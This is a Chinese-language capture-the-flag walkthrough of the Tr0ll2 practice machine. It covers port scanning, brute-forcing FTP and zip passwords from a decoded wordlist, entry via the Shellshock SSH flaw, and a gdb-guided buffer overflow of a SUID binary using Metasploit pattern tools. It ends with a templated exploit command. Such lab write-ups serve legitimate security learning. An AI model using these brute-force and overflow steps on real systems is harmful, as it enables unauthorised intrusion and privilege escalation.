靶机练习 - Tr0ll2
开放了21,22,80三个端口
对80端口进行目录扫描,发现robot.txt文件:
一部分目录目录无法访问,一部分目录显示的是同一张图片:
hmmm.......这位仁兄还是一如既往的口味独特啊,预感又要开始挖坑了>_<
尝试21端口,用户名应该是Tr0ll:
接下来要找登录密码,根据上一个靶机的经验,密码应该在网站的某个隐藏目录下面。现在的线索只有一张图片,在图片中去找:
找到密码本,且是base64编码的:
解码:base64 -d answer.txt > psw.txt
Tr0ll为用户名,psw.txt为密码本进行ftp爆破,失败。。
ftp的密码其实就是用户名:Tr0ll
看到一个压缩包文件,下载之,解压需要密码,用之前解码的密码本进行爆破,得到密码:
解压之后是私钥的key,hmmm.....触及知识盲区,呼叫百度...最后利用的是SSH破壳漏洞进入系统:
从来没听过这个漏洞。。。
折腾一圈儿还是个普通权限:
、
扔个扫描文件上去扫一通,接下来要用到缓冲区溢出和gdb调试的相关知识。
靶机已经关闭了地址随机化:
我只学习过用IDA的缓冲区溢出,gdb没用过,但由于不知道ssh登录密码,无法把文件从靶机下载到本地,只能利用靶机的gdb进行调试,总之就是。。。不会
网上学习了下其他人的方法,借鉴如下:
1. 进入gdb调试:gdb ./r00t
2. 查看main函数:disas main
3. 使用msf自带的插件生成1024个字符找到缓冲区溢出的位置
cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1024
把生成的字符放到gdb执行:
得到缓冲区溢出的位置
4. 反查缓冲区溢出字符位置
./pattern_offset.rb -q 6a413969 -l 1024
5. 寻找返回地址:
gdb执行:i r,找到esp地址
6. 构造exp:./r00t $(python -c 'print "A"偏移量 + "ESP" + "\x90"20 + "shellcode"')
成功:
本文仅用于技术学习和交流,严禁用于非法用途,否则产生的一切后果自行承担。
如需转载,请注明出处,这是对他人劳动成果的尊重。